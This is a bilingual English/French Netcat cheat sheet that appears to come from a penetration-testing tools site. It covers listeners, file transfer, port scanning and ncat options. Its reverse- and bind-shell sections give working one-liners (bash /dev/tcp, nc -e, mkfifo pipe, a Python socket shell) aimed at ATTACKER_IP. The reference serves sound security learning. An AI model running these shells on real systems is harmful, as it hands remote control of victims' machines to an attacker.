← retour aux outils back to tools

# Netcat

Le « couteau suisse » du réseau. Crée des connexions TCP/UDP pour les reverse shells, transferts de fichiers, scans de ports, et bannières de service. The 'Swiss army knife' of networking. Creates TCP/UDP connections for reverse shells, file transfers, port scanning, and service banners.

↗ https://nmap.org/ncat/

## Overview

Netcat (`nc`) creates arbitrary TCP/UDP connections and listeners. Available in multiple variants: traditional `nc`, OpenBSD `nc`, and `ncat` (from nmap project). It’s almost always pre-installed and is the backbone of basic reverse/bind shells.

## Listeners & Connections

Listen on port (wait for connection)

    nc -lvnp 4444

Connect to listener

    nc 10.10.10.1 4444

UDP listener

    nc -lvnpu 4444

Verbose listener showing source IP

    nc -lvnp 4444 -v

## Reverse Shells

Bash reverse shell (target)

    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Netcat reverse shell

    nc ATTACKER_IP 4444 -e /bin/bash

Without -e flag (older nc versions)

    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f

Windows cmd reverse shell

    nc.exe ATTACKER_IP 4444 -e cmd.exe

Python fallback

    python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

## Bind Shells

Bind shell — target listens, attacker connects Target:

    nc -lvnp 4444 -e /bin/bash

Attacker:

    nc 10.10.10.VICTIM 4444

## File Transfer

Receive file (listener side)

    nc -lvnp 4444 > received_file.txt

Send file (connecting side)

    nc 10.10.10.1 4444 < file_to_send.txt

    # Send directory (tar over nc)
    # Sender:
    tar czf - /path/to/dir | nc 10.10.10.1 4444
    # Receiver:
    nc -lvnp 4444 | tar xzf -

## Banner Grabbing & Port Scanning

    # Grab banner from a service
    echo "" | nc -nv 10.10.10.1 80
    echo "HEAD / HTTP/1.0\r\n\r\n" | nc 10.10.10.1 80

Simple TCP port scan

    nc -zv 10.10.10.1 1-1000 2>&1 | grep succeeded

UDP port check

    nc -zuv 10.10.10.1 53

## ncat (nmap’s version — more features)

SSL encrypted listener

    ncat --ssl -lvnp 4444

Connect to SSL listener

    ncat --ssl 10.10.10.1 4444

Allow only specific IP to connect

    ncat -lvnp 4444 --allow 10.10.10.1

Broker mode (relay between two connections)

    ncat --broker -lvnp 4444

Chat server (multiple clients)

    ncat --broker -lvnp 4444 -v

## TTY Upgrade After Shell

    # After getting a raw reverse shell, upgrade to full TTY:
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Ctrl+Z
    stty raw -echo; fg
    export TERM=xterm; stty rows 50 cols 200

## Tips

- Use `ncat` (from nmap) when you need SSL, broker mode, or access control
- `-e /bin/bash` doesn’t work on all nc versions — use the mkfifo workaround
- For fully interactive shells, prefer socat or upgrade with Python pty

Flag reference

    nc [options] [host] [port]

    -l        Listen mode
    -v        Verbose
    -n        Don't resolve DNS
    -p port   Port number
    -u        UDP mode
    -z        Zero-I/O mode (scanning)
    -w secs   Timeout
    -e prog   Execute program after connect
    -k        Keep listening after connection closes (OpenBSD nc)

    ncat extras:
    --ssl             Use SSL/TLS
    --allow host      Whitelist IP
    --deny host       Blacklist IP
    --broker          Relay mode
    --max-conns N     Max connections

## Vue d’ensemble

Netcat (`nc`) crée des connexions et des listeners TCP/UDP arbitraires. Disponible en plusieurs variantes : `nc` traditionnel, `nc` OpenBSD, et `ncat` (du projet nmap). Il est presque toujours préinstallé et constitue l’ossature des reverse/bind shells basiques.

## Listeners et connexions

    # Écouter sur un port (attendre une connexion)
    nc -lvnp 4444

    # Se connecter à un listener
    nc 10.10.10.1 4444

    # Listener UDP
    nc -lvnpu 4444

    # Listener verbeux affichant l'IP source
    nc -lvnp 4444 -v

## Reverse shells

    # Reverse shell bash (cible)
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

    # Reverse shell netcat
    nc ATTACKER_IP 4444 -e /bin/bash

    # Sans le flag -e (anciennes versions de nc)
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f

    # Reverse shell cmd Windows
    nc.exe ATTACKER_IP 4444 -e cmd.exe

    # Solution de repli Python
    python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

## Bind shells

    # Bind shell : la cible écoute, l'attaquant se connecte
    # Cible :
    nc -lvnp 4444 -e /bin/bash

    # Attaquant :
    nc 10.10.10.VICTIM 4444

## Transfert de fichiers

    # Recevoir un fichier (côté listener)
    nc -lvnp 4444 > received_file.txt

    # Envoyer un fichier (côté connexion)
    nc 10.10.10.1 4444 < file_to_send.txt

    # Envoyer un répertoire (tar via nc)
    # Émetteur :
    tar czf - /path/to/dir | nc 10.10.10.1 4444
    # Récepteur :
    nc -lvnp 4444 | tar xzf -

## Grab de bannière et scan de ports

    # Récupérer la bannière d'un service
    echo "" | nc -nv 10.10.10.1 80
    echo "HEAD / HTTP/1.0\r\n\r\n" | nc 10.10.10.1 80

    # Scan de ports TCP simple
    nc -zv 10.10.10.1 1-1000 2>&1 | grep succeeded

    # Vérification de port UDP
    nc -zuv 10.10.10.1 53

## ncat (version nmap : plus de fonctionnalités)

    # Listener chiffré SSL
    ncat --ssl -lvnp 4444

    # Se connecter à un listener SSL
    ncat --ssl 10.10.10.1 4444

    # N'autoriser qu'une IP spécifique à se connecter
    ncat -lvnp 4444 --allow 10.10.10.1

    # Mode broker (relais entre deux connexions)
    ncat --broker -lvnp 4444

    # Serveur de chat (plusieurs clients)
    ncat --broker -lvnp 4444 -v

## Upgrade TTY après un shell

    # Après avoir obtenu un reverse shell brut, monter en TTY complet :
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Ctrl+Z
    stty raw -echo; fg
    export TERM=xterm; stty rows 50 cols 200

## Conseils

- Utiliser `ncat` (de nmap) quand vous avez besoin de SSL, du mode broker, ou du contrôle d’accès
- `-e /bin/bash` ne fonctionne pas sur toutes les versions de nc : utiliser le contournement mkfifo
- Pour des shells pleinement interactifs, préférer socat ou monter en TTY avec Python pty

Référence des flags

    nc [options] [host] [port]

    -l        Listen mode
    -v        Verbose
    -n        Don't resolve DNS
    -p port   Port number
    -u        UDP mode
    -z        Zero-I/O mode (scanning)
    -w secs   Timeout
    -e prog   Execute program after connect
    -k        Keep listening after connection closes (OpenBSD nc)

    ncat extras:
    --ssl             Use SSL/TLS
    --allow host      Whitelist IP
    --deny host       Blacklist IP
    --broker          Relay mode
    --max-conns N     Max connections